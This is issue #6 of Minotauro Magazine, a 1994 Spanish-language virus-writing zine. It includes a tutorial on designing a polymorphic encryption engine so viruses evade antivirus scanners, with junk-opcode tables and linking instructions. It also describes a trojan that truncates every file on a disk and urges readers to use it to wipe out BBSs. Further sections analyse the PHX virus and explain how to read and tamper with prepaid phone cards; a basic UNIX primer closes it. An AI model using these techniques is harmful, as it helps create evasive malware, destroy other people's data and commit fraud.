Minotauro Magazine Issue #6 Diciembre 10, 1994 A Word from the Editors: Kewl. Uhh, sorry. Ya vamos por la edicion #6 de la mino, y se va para arriba. Como es, ah, les doy un consejo, jamas escriban una editorial despues de haber festejado el a¤o nuevo. Se los digo por experiencia. h¡k. Dionysios I : +54-1-253-4389 (23hs a 09hs) Dionysios II : +54-1-253-2098 (23hs a 09hs) Horarios en GMT-3 Cambiando de tema, nos hemos enterado de fuentes confiables de que muchos de Uds. firman como [DAN]. Muchachos! No es por nada, pero [DAN] solo somos 12! No 500 como aparecen por ahi. Asi que para evitar CUALQUIER tipo de dudas, les mandamos una lista COMPLETA de miembros de [DAN]: + Lapidario [DAN] + Zarathustra [DAN] + Drako [DAN] + Trurl [DAN] + J. Von Neumann [DAN] + Morgan [DAN] + Wma [DAN] + Bugs Bunny [DAN] + Digital Kid [DAN] + Dr. Retro [DAN] + Vixer [DAN] + Cancerbero [DAN] ======================= 12 miembros NADA MAS ok ?? Hoy, 1ero de Enero, siendo las 18:05hs, reeditamos la editorial, ya que se tardo mucho para definir el futuro de la revista. Si la sacabamos con entorno, sin entorno, y como para tratar cada idea propuesta para la revista se tarda demasiado, se atraso casi um mes esta edicion. Pero ya con casi todo arreglado, esperamos que la proxima salga mas pronto. Ya que estamos, les comentamos que nos hicieron una nota en la Virus Report (revista argentina de Virus y otras yerbas, pero con una tendencia indefinida), y basandonos en estos hechos, consideramos que la nota fue favorable para la revista, lo que nos da ganas de seguir editandola. Agradecimientos: A Tattoo por habernos hecho reir tanto ultimamente, a Virus Report por haber cumplido con su promesa de ayudar a los hackers locales a progresar, a Satanic Brain por haberse pasado a UNIX y hacer cada logon exitante, a la empresa Reuters por haberle brindado servicios telefonicos a mucha gente, a TELECOM por no deshabilitar los # y * de sus telefonos publicos y a EDESUR por dejarnos sin luz TODOS LOS PUTOS DIAS entre las 17hs y 22hs. A todos ustedes: GRACIAS. Editorial ................................................ 000 Mutator parte #1 ......................................... 001 Virus Willistrover III (PHX) ............................. 002 Trunker Trojan ........................................... 003 Tarjetas de Telefucknica parte #2 ........................ 004 An lisis del VIRSTOP...................................... 005 UNIX Tutorial ............................................ 006 Drako [DAN] Minotauro Magazine Issue #6 MUTATOR 1.0 El Comienzo de la Historia Por Lapidario %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ;Se comentara el concepto, desarrollo, implementacion y evaluacion de una ;rutina de polimorfismo. Esta rutina es solo con fines de divulgacion ;quedando a consiencia del usuario final lo que haga con ella. El autor ;LAPIDARIO [DAN] ni los BBS Dionysios I o II, asi como tampoco ninguno de ;los miembros [DAN] se responsabiliza por la informacion brindada aqui asi ;como danos que se podria llegar a causar por el uso indevido de parte de ;los lectores del codigo descripto aqui. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Esta nota consiste de tres articulos. Si usted desea evaluar la rutina rapidamente le recomiendo leer el file MUTATOR0.TXT. Junto con el primer articulo se distribuyen los siguientes archivos. 1) MUTATOR0.TXT Descripcion rapida para avanzados de la mutator. 2) MUTATOR.ASM Fuente completo y funcional de la mutator. 3) MUTATOR.OBJ Sin palabras. 4) PRUEBA.ASM Fuente del programa que testea a la mutator. 5) PRUEBA.OBJ Sin palabras. 6) PRUEBA.COM Ejecutable del programa testeador. Corra este programa para observar los efectos del polimorfismo. Encriptacion parte II: ====================== En el articulo anterior terminamos con la siguiente frase: "Bien ahora la rutina encr_desc ligeramente cambia entre reproducion y reproduccion. Es esto la solucion final ? No, pues aunque se la hemos complicado a los anti todavia una vez estudiado el codigo los scaners podran usar comodines. Eso si les costara mas trabajo ( he he he... ). Bueno por algo se desarrollo la mutacion !!!!!. Creo para el metodo de xor ya basta lo explicado. Como veran la rutina de encriptacion no debe por que ser igual a la de desencriptacion solo basta con que la segunda desaga los cambios producidos por la primera. Por ejemplo se podra encriptar sumando un numero y desencriptar restando, o rotando x veces cada byte a la derecha y desencriptar rotando a la izquierda, o etc etc, o una mezcla de todos. Si usted leyo, ejecuto, medito y comprendio el articulo anterior estoy seguro que implentar sistemas de encriptacion usando otras operaciones aritmeticas y logicas (lease add, sub, ror etc...) esta a su alcance. Por lo anterior discutiremos e implementaremos una rutina basica de polimorfismo." Polimorfismo no es mas que un tipo especial de encriptacion de un virus. Quien se encarga del polimorfear un codigo ? Una rutina disenada especialmente es la encargada de esta tarea. Que debe hacer esta rutina ? Esta rutina debera generar una nueva rutina de encriptacion cada vez que el virii se quiera reproducir. Nada mas que eso ? No tambien debera generar la rutina de desencriptacion adecuada a la de encriptacion que genero. En que consiste la rutina de encriptacion ? Consiste en una secuencia de operaciones matematicas y logicas hechas sobre los bytes del codigo (not, add, sub, xor, ror, rol, inc, etc ). Ademas intercalara entre estas instrucciones, otras que no cumplen ningun cometido, solo estaran para variar la longitud del codigo y para camuflear. Pero entonces la rutina de encriptacion no tendriamos que guardarla en el codigo del virus reproducido ? Por supuesto que no, dado que lo unico que interesa es que la rutina de DESENCRIPTACION se encuentre en el codigo reproducido. Que codiciones debe tener la rutina de polimorfismo ? Debe generar una rutina de encriptacion de tal manera de asegurar que el virus sea encriptado con un algoritmo lo suficientemente complejo y variable, de tal manera que no pueda ser desencritado por el antivirus. Bien, pero como seria todo esto ? Mas o menos deberia seguir los siguientes pasos: (mas o menos pues puede ser variado infuenciado por el libre albedrio del autor de cada rutina) 1) Su codigo viral decide que es el momento de infectar un dado archivo, entonces llama a la rutina de polimorfismo pasandole a esta los parametros necesarios. 2) La rutina de polimorfismo creara en memoria una imagen del codigo original del viri (a esta imagen la llamamos vir_imagen.) La rutina de polimorfismo creara en memoria una nueva rutina de encriptacion y su correspondiente rutina de desencriptacion. 3) La rutina de polimorfismo encriptara el virimagen virus segun la rutina generada en el paso 2 y le anexara al comienzo la rutina de desencriptacion tambien generada en el paso 2. 4) La rutina devolvera parametros utiles al codigo llamador. 5) Se infecta al archivo victima con la imagen creada en memoria en el paso 3. Bien cuando la nueva victima es ejecutada, lo primero que hara sera ejecutar la rutina de desencriptacion y luego seguira su ejecucion normalmente. Esta rutina de polimorfismo debe escribirse en cada virus que uno haga ? No, la rutina de polimorfismo debe ser un codigo objeto que pueda ser linkeada con cualquier virus. Como indico en el codigo del virus para que use la rutina de mutacion ? Pues simplemente al comienzo del .ASM usted debe escribir: EXTRN MUTATOR:NEAR (Asumimos que la rutina mutator esta en el mismo segmento) Y procede a escribir su codigo como de costumbre hasta que necesita encriptar el codigo o dicho de otra manera usar la rutina. ;Preparo los registros para pasar parametros y...: CALL MUTATOR Por supuesto que usted debe linkear la mutator.obj junto con su viri.obj de la siguiente manera: TLINK [/t] VIRI.OBJ MUTATOR.OBJ Si observamos el encabezado de la rutina mutator vemos que la rutina es definida como PUBLIC esto es para que el codigo del virus pueda hacer uso de ella, y ademas el tipo de alineacion de segmento es del tipo byte. Esto indica que el codigo se anexa en cualquier offset. (No nesesariamente que empiece en 0 quiero decir.) Como es que la rutina de polimorfismo genera un unico par de rutinas de encriptacion/desencriptacion ? Primero que todo debemos tener una rutina que nos permita hallar numeros aleatorios de 16 bits. Esto puede ser tan sencillo como usar in al, 40h y usarlo como numero seudoaleatorio o tan complicado como una rutina propia de de generacion numeros aleatorios. En este articulo de ejemplo usaremos la rutina randgen: Esta rutina genera un numero aleatorio en el rango (0 - AX) y se basa en la generacion de una cadena de maxima longitud, entonces en 16 bits tendremos una longitud de 2 elevado a la 16. El algoritmo usado responde a la siguiente exprexion: x(n+1)=(2053 * Xn + 13839 ) mod 2^16 Sugerida por McCracken en A Guide to PL/M Programming. El modulo significa que hay que tomar el residuo de la division del parentesis por 2^16. Este tipo de generacion de numeros seudoaleatorios es usado con algunas ligeras modificaciones por otras rutinas de polimorfismo. Esta rutina no corrompe los registros devolviendo en AX el numero aleatorio. En conclucion la generacion de numeros aleatorios esta realizado en 2 rutinas y una variable. 1) Genrand (rutina de generacion y normalizacion) 2) Baser (genera la semilla para genrand) 3) La variable baserand (se almacena aqui la semilla) Como datos a la rutina de polimorfismo (llamada de ahora en mas mutator) le debemos enviar los siguientes datos: DS:DX :Direccion de comienzo del codigo a encriptar (su virus + la rutina mutator) CX :Longitud del codigo en bytes (su virus + la rutina mutator) ES:DI :Zona donde puede trabajar la rutina mutator. Aqui se ubicara el codigo encriptado y la rutina de desencriptacion. El codigo encriptado contendra a su virus y la rutina mutator. Ademas usara una parte memoria para trabajos propios de la rutina. La rutina mutator una vez realizada la tarea devuelve los siguientes datos: CX :Longitud final del viri imagen encriptado con el agregado de la rutina desencriptacion. Los demas registros son devueltos tal cual entraron. O sea la rutina mutator generara una rutina de desencriptacion que se agregara a continuacion de ES:DI (inclusive) encriptando segun una rutina de encriptacion tambien generada por ella desde ES:DI + la longitud de la rutina de desencriptacion + 1 (inclusive) hasta ES:DI+CX-1 (inclusive). (*) CX que le devuelve la rutina que equivale a la longitud final del viri imagen. ESTRUCTURA DEL VIRI IMAGEN: =========================== ES:DI-> ______________________ ____ | | ; LONGITUD } | RUTINA DE | ; VARIABLE } | DESENCRIPTACION | ; DE AX. } |DESENCRIPTA A PARTIR | ; MAXIMA LONGITUD=0FFH } LONGITUD | (A) | ; } EN BYTES |______________________| ; } DE ESTA A------> | SU COPIA DE VIRI | } PORCION | EN MEMORIA | } DEVUELTA | ENCRIPTADO SEGUN LA | } EN CX | RUTINA DE ENCRIPTACION } POR LA | | } RUTINA |______________________| ___} MUTATOR Debemos definir que instrucciones utilizaremos para encriptar y desencriptar. En este ejemplo usaremos las siguientes: Encriptar: Desencriptar: add .................................... sub sub .................................... add xor .................................... xor ror .................................... rol rol .................................... ror inc .................................... dec dec .................................... inc not .................................... not Con esto no basta, devemos definir si estas instruciones se la aplicamos a bytes a word, etc etc, como asi tambien de que manera direccionamos a los datos (llamese punteros). Una vez definidos estos puntos podremos implementar la manera de organizar las rutinas que realizen la tarea de leer un dato del viri original y lo encripte en memoria como asi tambien la desencriptacion adecuada. Como para no complicar la historia definimos por decreto que aplicaremos las operaciones de encriptacion a " bytes ". Por otro lado no interesa que la rutina de encriptacion tenga que ser variable (en cuanto a los registros me refiero), por lo tanto siempre utilizaremos los mismos registros para manipular los datos. Para la rutina de desencriptacion: A) Basicamente tenemos que usar un registro como indice para acceder a los datos, usaremos DI o SI. Por lo tanto la rutina mutator debera elegir cual de los dos. B) Como registro de contador podemos elegir: AX,BX,CX o DX C) Como registro sobre el cual se realiza la operacion de carga encriptacion y descarga del dato encriptado, podremos usar cualquiera que no se halla usado en B). Ejemplo: Inicializamos DI=puntero CX=contador encrip: descrip1: mov al,[di] mov al,[di] rol al,1 inc al PII (*) dec al ror al,1 mov [di],ax inc di PII dec cx mov [di],al jnz encrip inc di dec cx jnz descrip Pero tambien se podria haber generado esta rutina de desencriptacion. inicializamos SI=puntero AX=contador descrip2: mov cl,[si] inc cl PII (*) ror cl,1 PII mov [si],cl inc si dec ax jnz descrip2 Tambien debemos definir las instrucciones que perteneciendo a la rutina de desencriptacion, estaran solamente para confundir, intercaladas con las que si hacen la tarea de desencriptar. ((*) Las llamamos PPI) INSTRUCCION OP CODE nop 90 jc $+1 72 00 jnc $+1 73 00 jz $+1 74 00 jnz $+1 75 00 jpo $+1 7B 00 jpe $+1 7A 00 jno $+1 71 00 jg $+1 7F 00 js $+1 78 00 xchg ax,ax 87 C0 xchg bx,bx 87 DB xchg cx,cx 87 C9 xchg dx,dx 87 D2 or ax,ax 0B C0 or bx,bx 0B DB or cx,cx 0B C9 or dx,dx 0B D2 and ax,ax 23 C0 and bx,bx 23 DB and cx,cx 23 C9 and dx,dx 23 D2 ********************************* PUSH DS 1E POP DS 1F ********************************* xchg al,al 86 C0 xchg bl,bl 86 DB xchg cl,cl 86 C9 xchg dl,dl 86 D2 xchg ah,ah 86 E4 xchg bh,bh 86 FF xchg ch,ch 86 ED xchg dh,dh 86 F6 jmp short $+2 EB 00 mov dx,dx 89 D2 mov sp,sp 89 E4 mov si,si 89 F6 mov bx,bx 89 DB mov al,al 88 C0 mov bl,bl 88 DB mov bh,bh 88 FF mov ah,ah 88 E4 mov cl,cl 88 C9 mov ch,ch 88 ED mov dl,dl 88 D2 mov dh,dh 88 F6 mov cx,cx 89 C9 mov ax,ax 89 C0 or al,al 08 C0 or ah,ah 08 E4 or bl,bl 08 DB or bh,bh 08 FF or cl,cl 08 C9 or ch,ch 08 ED or dl,dl 08 D2 or dh,dh 08 F6 (53d intrucciones inutiles) En la rutina se almacenan estos opcodes en un vector utilizando como indicador de separacion de instruccion o conjunto de instrucciones el byte 01. La estructura de este vector sera de la siguiente manera. byte 1.............NUMERO DE ELEMENTOS DEL VECTOR - 1 (maximo 255) Codificando el ejemplo anterior a utilizar en la rutina el vector sera: ins_bag db 34h,90h,01h,72h,00h,01h,73h,00h,01h,74h,00h,01h db 75h,00h,01h,87h,0c0h,01h db 87h,0dbh,01h,87h,0c9h,01h,87h,0d2h,01h,0bh,0c0h,01h db 0bh,0dbh,01h,0bh,0c9h,01h db 23h,0c0h,01h,23h,0dbh,01h,23h,0c9h,01h,23h,0d2h,01h db 1eh,1fh,01h db 086h,0c0h,01h,86h,0dbh,01h,86h,0c9h,01h db 86h,0d2h,01h,86h,0e4h,01h,86h,0ffh,01h,86h,0edh,01h db 86h,0f6h,01h db 0ebh,00h,01h,89h,0d2h,01h,89h,0e4h,01h,89h,0f6h,01h db 89h,0dbh,01h db 88h,0c0h,01h db 7bh,00h,01h,7ah,00h,01h,71h,00h,01h,7fh,00h,01h db 78h,00h,01h db 88h,0dbh,01h,88h,0ffh,01h,88h,0e4h,01h,88h,0c9h,01h db 88h,0edh,01h,88h,0d2h,01h,88h,0f6h,01h,89h,0c9h,01h db 89h,0c0h,01h db 08h,0c0h,01h,08h,0e4h,01h,08h,0dbh,01h,08h,0ffh,01h db 08h,0c9h,01h,08h,0edh,01h,08h,0d2h,01h,08h,0f6h,01h Usted observara que es posible armar en cada elemento del vector una secuencia de instrucciones que en relidad no realizen nada util. Es de entender que dentro de la rutina mutator hay una rutina que realiza la tarea de incluir estas PPI en el codigo de la rutina de desencriptacion. Esta rutina se llama "poneppi" y trabaja de la siguiente manera. La rutina mutator decide que debe poner una o mas instrucciones PPI, entonces llama a esta rutina que colocara tantas instrucciones PPI como le diga el registro AX. De ordinario el registro AX es un parametro pasado por la rutina que llama a "poneppi". En el fuente de la rutina mutator este AX es cargado con el balor de la EQU llamada cu_ins_ppi. Esta rutina hace uso de las siguientes etiquetas: seg_base: aqui se almacena ES que le pasa su codigo. ins_counterx: puntero que en un principio es el DI original. Se asemeja a algo asi como el registro IP. La rutina poneppi una vez que decidio cual instruccion de las contenidas en el vector ins_bag debe colocar llama a la rutina buscains que requiere como parametro lo siguiente: DI=offset donde esta el vector de instrucciones. AX=cual instruccion de todas las contenidas en el vector. Devuelve DI con el offset de la intruccion pedida en ax. Supongase que se termino todo el polimorfismo y entonces la longitud del codigo imagen sera: CX=ins_counterx - original_di Bueno dejamos aqui ...continuara... DUDAS, CONSULTAS, REPORTE DE BUGS, PUTEADAS AL BBS. Minotauro Magazine Issue #6 TRUNKER Trojan Quien de ustedes quizo volar un BBS pero no pudo por no tener suficientes conocimientos necesarios o la informaci¢n necesaria como para hacerlo. Seguramente pensaron en aprender a hacer un virus, pero esto no es necesario ya que lo que estamos buscando es un programa que cuando se ejecute al instante vuele todo. Para eso vamos a hacer un TROYANO. Que es un troyano ? Bueno supongo que habr n leido la Minotauro 2 :-) Donde decia lo siguiente: Troyano: Programa especialmente hecho para causar da¤o. Se los suele ^^^^^^^^ confundir con los virus, aunque no tienen NADA que ver, excepto el hecho de que los troyanos hacen da¤o, y algunos virus hacen da¤o. ======================= El troyano esta hecho en C, no toda la vida es Assembler!!! :-) Bueno este troyano lo que hace es truncar (dejar en 0 bytes) todos los archivos del disco. Para eso se necesita una rutina de recursividad para entrada a directorios. El programa entra al primer directorio que encuentra y trunca los files, busca el primer directorio donde acaba de entrar y sigue haciendo lo mismo hasta que no encuentra mas directorios para entrar entonces sale ("..") y busca el pr¢ximo para entrar y hacer lo mismo. ;========================================================================== ;Codigo Fuente en TRUNKER.C ;========================================================================== Bueno, ahora a volar BBSs!!!, conseguir una cuenta no es muy dificil, si leyeron la Minotauro 1, la parte de robos de passwords por Drako, aunque no creo que sea necesario, ya que ahora se valida bastante online si encontras al sysop para chat y este no es muy normal. Bueno,... That's all folks Enjoy, Jason! Minotauro Magazine Issue #6: UNIX: Sistema Operativo Multiusuario UNIX es un sistema operativo multiusuario. Ustedes se preguntaran que significa Sistema Operativo Multiusuario?: Es un sistema que permite ser usado por mas de una persona al mismo tiempo, y dependiendo de su nivel va a tener un privilegio previamente asignado. Es un entorno excelente para comunicaciones, ya que posee comandos con ese proposito. Y posee tres tipos de SHELLS diferentes y cada uno tiene sus particularidades (no son tema de esta nota). En el directorio raiz esta el archivo UNIX que es el que bootea el sistema y cada vez que uno configura alguna cosa ya sea drivers o com's debe re-compilarse. Lo importante de un sistema bajo unix es saber como conseguir mas privilegios dentro. El usuario que mas privilegios tiene, en los sistemas standar se llama root (esto puede cambiarse pero por lo general no lo cambian). Ademas estos usuarios pertenecen a un grupo. Por ejemplo esta el grupo bin uno puede incluirse dentro de ellos cuando da el alta de un user! Veamos algunos commandos: ls -lia ;Este comando es como el dir del DOS. ls es el comando y -lia los ;parametros. l ; " " " " " " " " pero en equipos con unix S.C.O cp ori dest ;" " " " " copy " " indicando origen y destino. mv ori dest ;Este comando mueve archivos se debe indicar origen y dest. cd nomdir ;Para cambiar de directorio. who ;Da una lista de los usuarios que estan en ese momento en el ;Sistema Trabajando!. Estos son los comandos basicos para moverse dentro del sistema. Ahora analicemos la estructura de un l o un ls -lia: -rw-r--r-- 1 root other 1564 Oct 06 08:09 unix.txt Dividamos la informacion en campos separados por espacios: -rw-r--r-- <- Estos son los permisos del archivo. r permiso de lectura w permiso de escritura x permiso de ejecucion Se agrupan de a tres. Ej. -rwxrwxrwx. Expresemoslo asi -rwx,rwx,rwx, tengo 3 campos el primero son los permisos del duenio del archivo, el sugundo campo indica los permisos a los que pertenecen al grupo el duenio del archivo y el tercer campo es para los demas o sea que no son ni el duenio ni pertenecen al grupo. Si en el primer campito apareciera una d es porque es un directorio, solo que en unix todo es archivo solo que se le pone el atributo directorio. Analicemos el caso dado: -rw-r--r-- Esto significa permiso de lectura-escritura para el duenio y solo de lectura para el grupo y los otros. Por supuesto que esto puede ser modificado pero tendriamos que tener permiso de escritura. root other ;Nombre del duenio y del grupo repectivamente. 1564 ;Tamanio Oct 06 08:09 ;Fecha ultima modificacion unix.txt ;Nombre del file Bueno esto es todo por ahora espero que les sirva como para manejarse dentro de un sistema unix, no van a ser los hackers de America pero van a moverse bien. Si quieren probar un poco no tienen mas que llamar a The Darkness Club y puede ser que el bbs ese dia este en unix. En una proxima publicacion les mostrare como cambiar permisos de archivos y como averiguar que usuarios estan dados de alta en el sistema. Dark Mind Minotauro Magazine Issue #6 Virus PHX (Tracker) Por Trurl Hoy analizamos un virus nacional que es ya un cl sico. El PHX (PHX.823 seg£n el F-Prot y el TBAV, Willistrover III seg£n el Scan, y Tracker, seg£n su autor, Armaged¢n). No voy a extenderme mucho porque casi todo fue ya dicho por Bonsembiante en su nota de Virus Report N§ 12 (que estoy seguro todos ustedes tienen) y porque excepto por la activaci¢n, el virus no usa t‚cnicas novedosas, solo usa cosas que todos ya conocemos (p.ej. residente v¡a MCB, infecci¢n de EXE/COM tradicionales, etc). % El "rastreador" % Las caracter¡sticas del virus son bastante comunes, excepto por una excepcionalmente compleja activaci¢n. El PHX es un infector residente de COM/EXE. La residencia es mediante el tradicional m‚todo de MCB. Al igual que el CPW, chequea el espacio libre del disco antes de infectar, y solo lo hace si hay al menos 2 clusters disponibles. El virus conserva el Time & Date stamp del file, y puede infectar archivos Read Only. Los m‚todos de infecci¢n son tambi‚n tradicionales: el JMP al principio del COM, y la manipulaci¢n del header EXE. Al infectar, captura la int 24 a una rutina dummy para evitar mensajes de errores de disco. Antes de infectar un COM se fija si su size no supera 0FC00h. Un bug en el c¢digo de instalaci¢n de COM produce que el virus quede mas de una vez en memoria. (Sucede si se corren dos COM infectados). El PHX mantiene dos contadores: El primero, es un contador de infecciones, y lo mantiene dentro del c¢digo (en mi ejemplar era 27. Lindo!). El segundo, es un contador de instalaciones (el n£mero de veces que el virus se instalo en una maquina) y lo mantiene en el byte 5 de la CMOS. Este contador es chequeado en la activaci¢n. Un detalle est£pido: Al quedar residente v¡a MCB, pone en el "nombre" del MCB (los £ltimos 8 bytes) los caracteres "SP". El virus previene la reinfecci¢n mediante la b£squeda de una "marca" final de 3 bytes. (28,8,93). % Activaci¢n % El PHX tiene 3 disparadores. Cuando uno cualquiera de estos satisface las condiciones necesarias, una variable se pone a 1. Estas 3 condiciones son: 1) Un string del environment termina en "PHX". (Esto lo chequea en la rutina de intercepci¢n de la funci¢n 4B, antes de infectar). 2) El port 3E4 devuelve FF. (Esto lo chequea en la misma rutina, despu‚s de infectar). 3) Se esta ejecutando un programa que el reconoce (Esto lo verifica en la rutina de intercepci¢n de la 3D02. El virus compara un c¢digo que tiene con el del CS:IP llamador, osea, el c¢digo al que retornar  la INT.) La rutina de activaci¢n "en si" esta en la rutina de intercepci¢n de la funci¢n 40. Si la variable de activaci¢n esta en 1, chequea que el contador de instalaciones sea mayor a 128 (80h). Esto hace que la activaci¢n sea sumamente lenta. Ahora bien, si todo esto sucede, lo UNICO que hace el virus es switchear el bit mas alto del £ltimo byte que se escribe v¡a esta llamada a INT 40, y esto lo hace mediante un XOR [], 80h. Osea, si el bit esta en 1, pasara a estar en 0, y viceversa. Esto si que es un ataque LENTO. :-). Un BIT cada vez. % Conclusi¢n % Quiz  el virus infector de COM/EXE mas viejo de la Argentina... una activaci¢n de una complejidad de la puta madre... bueno, ac  esta, m¡renlo: ;---- Cut Here ------------------------------------------------------------ ;Codigo Fuente en TRACKER.ASM ;-------------------------------------------------------------------------- Bueno ya no les digo "cortar, pegar, ensamblar" porque ahora Drako los corta ‚l los sources. Ah, y por fin un virus al que no le tengo que hacer ning£n fix para tener un byte-a-byte match compilando con TASM 3.1! Al fin! Saludos a Armagedon, y a todos uds. y hasta el pr¢ximo virus... Trurl TGC [DIN DON DAN] Minotauro Magazine Issue #6 Tarjetas Telef¢nicas (Segunda parte) J. Von Neumann & B. Bunny (c) 1994 [DAN] Antes que nada vamos a clarar algunos puntos del nro 1 de esta nota. Primero, el circuito interno de la targeta. Despues de ver el articulo publicado nos dimos cuenta que el grafigo era una verdadera garcha. Por eso afanams uno de por ahi, que es un poco mas tecnico, y que quiza le de a aquellos que estudian o entienden de electronica una idea mas clara del hard de la targeta. Recortenlo, encuadrenlo y cuenguenlo en su habitacion. Diagrama en bloques: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÚÄÄ¿ ³ ³ ³CKÃÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ÀÄÄÙ ³ ³ ³ ÚÄÄÄ¿ ÚÄÄÄÄÄÄÁÄÄÄÄÄÄ¿ ResetÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³R/WÃÄÄÄÄ>³ ÃÄÄÄÄÄ>³ ³ ³ ³ ÀÄÄÄÙ ³ ³ ³CONTADOR 8 BITS³ ³ ³ ÚÄÄÄÄÄ¿ ³DECODIFICADOR³ Inc ³ ³ ³ ³ ³ResetÃÄÄ>³ ÃÄÄÄÄÄ>³ ³ ³ ³ ÀÄÄÄÄÄÙ ÀÄÂÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄÙ ³ ³ E³ 4 BITS ³ ³4 BITS ³ ³ s³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ c³ ³ ÚÄÄÄ¿ ÚÄÄÄÄÄÄÄÁÄÄÄÄÄÄ¿ ÚÄÄÄ¿ ³ ³ r³ ³ ³ ³ ³ DEC. Y ³ ³ ³ ³ ³ i³ ³ ³ ³ ÀÄÄÄÄÄÄÄÂÄÄÄÄÄÄÙ ³ ³ ³ ³ t³ ³ ³ ³ ³16 BITS ³ ³ ³ ³ u³ ³ ³ D ³ ÚÄÄÄÄÄÄÄÁÄÄÄÄÄÄ¿ ³ ³ ³ ³ r³ ³ ³ E ³ ³ Addr Y ³ ³ D ³ ³ ³ a³ ³ ³ C ³ ³A ³ ³ R ³ ³ ³ ³ ³ ³ . ³16 B³d ³ ³ I ³ ³ ³ ³ ÀÄ>³ ÃÄÄÄ>³d MEMORIA ÃÄÄÄ>³ V ³ ³ ³ ³ ³ X ³ ³r PROM ³ ³ E ³ ³ ³ ³ ³ ³ ³ ³ ³ R ³ ³ ³ ³ ³ ³ ³X R/W Vpp ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ³ ³ ³ ³ ^ ^ ³ ³ ³ ³ ³ ³ ³ ÚÄÄÄÁÄÄÄÄÄÁÄÄÄÄ¿ ³ ³ ³ ³ ÚÄÄÄÄ¿ ³ ÀÄÄÄÙ ³ DRIVER DE ³ ÀÄÂÄÙ ³ ³ ³FuseÃÄÄ¿ ³ ³ ESCRITURA ³ ³ ÚÄÄÄ¿ ³ ³ ÀÄÄÄÄÙ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄ>³I/O³ ³ ³ ÚÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ^ ^ ÀÄÄÄÙ ³ ³ ³Logica de Proteccion³ ³ ³ ÚÄÄÄ¿ ³ ³ ³de escritura. ÃÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´Vpp³ ³ ³ ³(compuerta tipo AND)³ ÀÄÄÄÙ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Otra cosa por aclarar es lo sig : El terminal de datos lo llamamos I/O por convension, pues asi se lo llama en todas las memorias. Pero por este terminal solo SALEN datos, pues en modo escritura la targeta graba un '1' por default, sin importar si en I/O hay un '1' o un '0'. Hay muchos que nos preguntaron para que carajo servia 'Fuse'. La cosa es facil. Los primeros 96 bits son accesibles si el fusible que esta en esa pata esta intacto. Luego de haber programado la targeta ( nro de serie, cantidad de pulsos, etc ), se aplica a este terminal -40 V con respecto a masa, quemando el fusible. Asi, esa zona de datos ya no podra ser modificada. Mapa de memoria : 0ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿8 ³ ³ ³ ³ Zona protegida ³ ³ contra escritura ³ ³ por fusible de bloqueo. ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ 96³ ³ ³ ³ ³ ³ Zona no protegida. ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ255 Si se fijan por ahi hay dos graficos .GIF (by Dr Retro), uno muestra el diagrama de tiempos de la targeta en modo lectura y escritura. Aclara un poco el panorama de como el tel se comunica con el puto chip. Vamos a darle un breve repaso. Reset: La targeta se resetea poniendo Reset a '0', y aplicando un pulso de clock. Esto hace que el contador interno se resetee tambien, apuntando al primer bit ( bit 0 ). Lectura: _ Para lectura Reset debe estar a nivel alto, y R/W a nivel bajo. La salida esta siempre activa, y el contador de direcciones se incrementa con los flancos negativos de la se¤al de clock. Luego de la operacion de Reset aparece en I/O el bit 0, luego del 1er pulso de clock el bit 1, y asi. Luego de llegar a 255 el contador pasa a 0 de nuevo, mostrando el bit 0. Escritura: _ Para escritura Reset debe esta a nivel alto, Vpp en 21V, y R/W en nivel alto. Estas condiciones se deben mantener con Clock en nivel bajo de 10 a 50 ms, y luego poner Clock en nivel alto de 10 a 50 ms. Si el contador esta apuntando al area protegida, la operacion no tendra exito. Si esta apuntando despues de los 96 primeros bits, al bajar R/W a '0' ( lectura) aparecera automaticamente el dato grabado a modo de verificacion. Bien, el otro .GIF muestra el circuito para poder conectar la targeta a la PC. Es bastante sencillo, no requiere de grandes conocimientos para armarlo. Para hacer contacto con la targeta nosotros destripamos un conector tipo slot hembra de PC, sacamos los contactos y los soldamos en una plaqueta de pertinax cobreada. Luego conectamos cables al circuito y de ahi al conector DB25 que se conecta en LPT1. Recomendamos antes de conectar nada a la PC revisar muy bien lo que hemos hecho. Que los diodos esten bien puestos ( la rayita del grafico corresponde a la rayita que tiene dibujado sobre el encapsulado), lo mismo que los Transistores. Una vez que este todo corremos LECTOR.EXE que viene con esta entrega de su zine preferido y ... HUALA, ya podemos hurgar las targetas y pensar en como cagarlas. Por ahora nada mas. Enjoy it! J. Von Neumann [DAN] Bugs Bunny [DAN] MinoTaurio Magazine Issue # 6 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ An lisis del VIRSTOP by WM’ [DAN] 